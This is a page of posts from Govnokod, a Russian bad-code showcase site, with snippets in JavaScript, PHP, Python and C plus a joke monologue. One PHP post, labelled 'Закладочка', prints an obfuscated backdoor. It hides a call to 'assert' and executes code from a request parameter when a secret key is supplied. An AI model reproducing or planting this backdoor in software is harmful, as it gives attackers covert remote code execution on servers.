1. Куча / Говнокод #25518

    +2

    1. 1
    https://i.yapx.ru/D3IPu.jpg

    Как я вам?)

    zheurova_elya, 06 Апреля 2019

    Комментарии (27)
  2. JavaScript / Говнокод #25517

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    function isSpam(comment) {
        // quick and dirty filter agains guest spam
        // it can reject normal links, but who cares...
        if ((comment.user_id == 1) && comment.text.match('http://'))
                return true;
    
        if ((comment.user_id == 25580) && ((comment.text.match('^, http')) ||
                                           (comment.text.match(',  , http')) ||
                                           (comment.text.match('<strong>')) ||
                                           (comment.text.match('^<a href=')) ||
                                           (comment.text.match('^comment[0-9]+,')) ||
                                           (comment.text.match('storefocus')) ||
                                           (comment.text.match('.*Хрюкни, свинособака')) ||
                                           (comment.text.match('.*<span style')) ||
                                           (comment.text.replace(/\s*/g, '').match('viagra|cialis|levitra')) ||
                                           (comment.text.match('-[0-9a-fA-F]{4}\.pdf'))))
                return true;
        return false;
    }

    http://gcode.cx/ngk/#!/settings

    Какой анскилл )))

    OCETuHCKuu_nemyx, 06 Апреля 2019

    Комментарии (19)
  3. PHP / Говнокод #25516

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    function getCartMiniViewDisplayString($cart_entries) {
        $count = $cart_entries->getProductCount();
        $suffix = "";
        $remainder = $count % 10;
        switch($remainder) {
            case 1:
                $suffix = " товар";
                break;
            case 2:
            case 3:
            case 4:
                $suffix = " товара";
                break;
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 0:
                $suffix = " товаров";
                break;
        }
        return $count . $suffix;
    }

    Мой, переписывать с if в лень.

    OlegUP, 06 Апреля 2019

    Комментарии (20)
  4. Куча / Говнокод #25515

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    In [196]: n= namedtuple('A', ['a', 'b'])(1,2)
    
    In [197]: n.index
    Out[197]: <function A.index>
    
    In [198]: n.count
    Out[198]: <function A.count>
    
    
    In [191]: n = namedtuple('A', ['index', 'count'])(1,2)
    
    In [192]: n
    Out[192]: A(index=1, count=2)
    
    In [193]: n.
    n.count n.index
    
    In [193]: n.count
    Out[193]: 2
    
    In [194]: n.index
    Out[194]: 1

    Это же отсос, да?

    syoma, 06 Апреля 2019

    Комментарии (19)
  5. Си / Говнокод #25512

    0

    1. 1
    2. 2
    3. 3
    enum {
    #include "opcodes"
    };

    Хотел юзать один файл с перечислением и в "Си" и в "fasm", но только потом понял, что в "fasm" так не получится :(

    BOKCEJIbHblu_nemyx, 05 Апреля 2019

    Комментарии (22)
  6. Python / Говнокод #25511

    0

    1. 1
    https://stackoverflow.com/questions/4233218/python-how-do-i-get-key-value-pairs-from-the-basehttprequesthandler-http-post-h

    Блядь, как всё сложно.
    Поэтому я за "PHP".

    OCETuHCKuu_nemyx, 04 Апреля 2019

    Комментарии (17)
  7. PHP / Говнокод #25510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function b($d,$a){
    		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
    			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
    			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
    			if(isset($_REQUEST['s'.md5('bgdfgt')])){
    				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
    			}
    			return true;
    		}
    		return false;
    	}
    	
    	
    	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

    Закладочка

    straga_coda, 04 Апреля 2019

    Комментарии (32)
  8. Куча / Говнокод #25509

    −1

    1. 1
    Оупенспейса тред

    OCETuHCKuu_nemyx, 04 Апреля 2019

    Комментарии (76)
  9. Python / Говнокод #25508

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    Change(models.model):
    
        def save(self, *args, **kwargs):
            is_need_to_add = False
    
            if not self.pk and self.package.type not in [Billing.TYPE_H, Billing.TYPE_F]:
                is_need_to_add = True
    
            super(Change, self).save(*args, **kwargs)
    
            if is_need_to_add:
                package = self.package
                package.done += self.delta
                if self.package.status == Billing.STATUS_IN_WORK and package.count_done >= package.count_wants:
                    package.status = Billing.STATUS_DONE
                    package.save()
    
                    title, id = self.package.company.title, self.package.company.id
                    leads, price = self.package.count_wants, self.package.price
                    mail.send("trololo")
    
                package.save()
                package.check_billing()

    Django ORM, внутри метода save() сразу и сохранение сущности в базу, и апдейт родительской сущности и mail нотификация менеджерам.

    facepalm, 04 Апреля 2019

    Комментарии (14)
  10. Куча / Говнокод #25507

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    Как же лицемерны и жестоки люди!. Куд-куда!.. Это просто ужасно. Сегодня Вы посыпаете мне пшена и кормите с рук, умилительно воркуя,
    а завтра с такой же безмятежностью занесёте надо мной топор... 
    Я НЕ ХОЧУ ЖИТЬ В КУРЯТНИКЕ. Выпустите меня - и я улечу в теплые края или уйду в лес. Мне не нужна Ваша лицемерная забота, взамен на которую я должен отдать Вам свою жизнь.
    Я наперечёт знаю все праздники хозяев; в эти дни из курятника забирали кур. Помню, как у хозяина родился сын; весь дом был на ушах, полным ходом шли приготовления. 
    Приходили родственники, поздравляли хозяина. 
    Потом в курятник вошёл сам хозяин - необыкновенно веселый, краснорожий, пошатывающийся. Широко улыбаясь, он схватил одну курицу и унес.
    За стеной обиженно визжала тётушка Марта, у которой отняли поросёнка и трубно мычал дядя Боря. 
    Унесенную курицу должно быть пытали - она громко кудахтала, моля о помощи, и била по земле крыльями. 
    Но взбешенный отказом, палач казнил курицу - вскоре на заднем дворе раздавался ее последний, предсмертный крик...
    Потом хозяева съели ее. Поначалу они разломили по крылышку, потом оторвали обе ножки... 
    Это я понял на следующий день, когда объедки принесли в курятник. Да, я клевал - потому, что Бог создал меня каннибалом. Но в чем же моя вина?..
    
    Скоро пасха, и я с ужасом жду. Всё будет как и много раз: придёт хозяин, погладит меня и унесет.
    Когда меня положат на плаху, я не буду кричать - ведь я петух. Мой статус не позволяет мне проявлять малодушие. 
    Я лишь попрошу его о песне. И я спою в последний раз. Громогласное "Ку-ка-ре-ку!" пронесётся над скотным двором... 
    На минутку затихнет тётя Марта, куры перестанут плакать, и благоговейно засопит дядя Боря: все поймут, что я погиб, как герой.

    AHCKujlbHblu_netyx, 04 Апреля 2019

    Комментарии (426)